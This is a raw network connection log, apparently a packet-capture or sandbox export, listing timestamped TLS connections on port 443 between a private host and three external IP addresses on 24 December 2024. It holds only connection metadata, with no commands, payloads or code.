Dec 24, 2024 12:39:06.155284882 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.155339003 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.155375004 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.155390978 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.398308992 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.398344040 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.398406982 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.398742914 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.398751020 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:07.611066103 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:07.611186981 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:07.637022018 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:07.637029886 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:07.637227058 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:07.656081915 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:07.656199932 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:07.656223059 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:07.657644033 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:07.657649994 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:08.720319033 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:08.720428944 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:08.720474958 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:08.720614910 CET	49732	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:08.720628023 CET	443	49732	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:08.812453985 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:08.812529087 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:08.812608004 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:08.812963009 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:08.812985897 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.023766994 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.023837090 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.025408030 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.025419950 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.025687933 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.026756048 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.026911974 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.026947021 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.985950947 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.986031055 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:10.986123085 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.986233950 CET	49733	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:10.986253023 CET	443	49733	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:11.191270113 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:11.191323042 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:11.191440105 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:11.191720963 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:11.191730022 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:12.404032946 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:12.404114962 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:12.509057999 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:12.509077072 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:12.509354115 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:12.521996975 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:12.522164106 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:12.522186041 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:12.522238970 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:12.522245884 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:13.500977039 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:13.501060009 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:13.501141071 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:13.501394033 CET	49734	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:13.501404047 CET	443	49734	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:14.049793005 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:14.049853086 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:14.050052881 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:14.050407887 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:14.050422907 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:15.281317949 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:15.281383991 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:15.282639027 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:15.282650948 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:15.282852888 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:15.284216881 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:15.284403086 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:15.284410000 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:16.039128065 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:16.039253950 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:16.039319038 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:16.039483070 CET	49735	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:16.039508104 CET	443	49735	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:16.525846958 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:16.525898933 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:16.526057959 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:16.526463032 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:16.526478052 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.743514061 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.743599892 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.815982103 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.816013098 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.816240072 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.823875904 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.824908972 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.824944019 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.825035095 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.825068951 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.825310946 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.825393915 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.825532913 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.825602055 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.826236010 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.826270103 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.826728106 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.826750994 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.826759100 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.826770067 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.826919079 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.826944113 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.826961040 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.827076912 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.827106953 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.871332884 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.871499062 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.871526003 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.871550083 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.871570110 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.871584892 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.871597052 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:17.871619940 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:17.871627092 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:22.291867971 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:22.291975975 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:22.292129993 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:22.293203115 CET	49736	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:22.293221951 CET	443	49736	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:22.304312944 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:22.304367065 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:22.304440022 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:22.304832935 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:22.304853916 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:23.521406889 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:23.521471977 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:23.525094986 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:23.525110960 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:23.525338888 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:23.534852982 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:23.534923077 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:23.534950018 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:24.303406000 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:24.303515911 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:24.303616047 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:24.303822994 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:24.303822994 CET	49741	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:24.303834915 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:24.303845882 CET	443	49741	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:24.444793940 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:24.444866896 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:24.445209026 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:24.445559978 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:24.445591927 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:25.834131002 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:25.834218025 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:25.835730076 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:25.835756063 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:25.836008072 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:25.837328911 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:25.883341074 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.546799898 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.546819925 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.546863079 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:26.546875000 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.546884060 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:26.546928883 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:26.547135115 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:26.547147989 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.547174931 CET	49743	443	192.168.2.4	185.166.143.50
Dec 24, 2024 12:39:26.547182083 CET	443	49743	185.166.143.50	192.168.2.4
Dec 24, 2024 12:39:26.847490072 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:26.847531080 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:26.847604990 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:26.847923040 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:26.847939014 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.073514938 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.073702097 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.077231884 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.077244043 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.077447891 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.089179993 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.135333061 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.539657116 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.581886053 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.581902027 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.581998110 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.582016945 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.582070112 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.769478083 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.769510984 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.769578934 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.769589901 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.769618988 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.769638062 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.777455091 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.821041107 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.925208092 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.925215960 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.925260067 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.925291061 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.925338030 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.925367117 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.925379038 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.928673983 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.932182074 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.932198048 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.956511021 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.956530094 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.956629992 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.956651926 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.990711927 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.990751028 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.990767002 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.990778923 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.990801096 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:28.990828991 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:28.990858078 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.131489992 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.131500006 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.131537914 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.131584883 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.131606102 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.131622076 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.132963896 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.134962082 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.156202078 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.156218052 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.156287909 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.156301975 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.184354067 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.184396982 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.184417963 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.184431076 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.184442043 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.184490919 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.209033012 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.209054947 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.209090948 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.209095001 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.209110022 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.209136009 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.209153891 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.315618038 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.315639973 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.315689087 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.315718889 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.315730095 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.315759897 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.315768003 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.335750103 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.335769892 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.335813046 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.335829020 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.335860014 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.353857994 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.353872061 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.353925943 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.353939056 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.371547937 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.371597052 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.371615887 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.371632099 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.371656895 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.389236927 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.389269114 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.389302015 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.389308929 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.389334917 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.408193111 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.408226967 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.408252954 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.408257961 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.408268929 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.408303976 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.408325911 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.425926924 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.425945044 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.425991058 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.425998926 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.426039934 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.428260088 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.477284908 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.504539967 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504550934 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504575968 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504605055 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.504606962 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504617929 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504630089 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.504645109 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.504667044 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.517792940 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.517810106 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.517863035 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.517868042 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.517888069 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.517904043 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.517934084 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.529944897 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.529963970 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.529998064 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.530011892 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.530029058 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.530052900 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.541563988 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.541583061 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.541624069 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.541642904 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.541657925 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.552710056 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.552725077 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.552762985 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.552772045 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.552805901 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.562150002 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.562187910 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.562207937 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.562216997 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.562247992 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.568320036 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.568360090 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.568381071 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.568387032 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.568416119 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.574778080 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.574810028 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.574846029 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.574855089 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.574882030 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.574911118 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.698782921 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.698801041 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.698852062 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.698870897 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.698899031 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.698920965 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.698929071 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.704971075 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.704992056 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.705038071 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.705049992 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.705077887 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.711344957 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.711359978 CET	443	49745	52.216.216.113	192.168.2.4
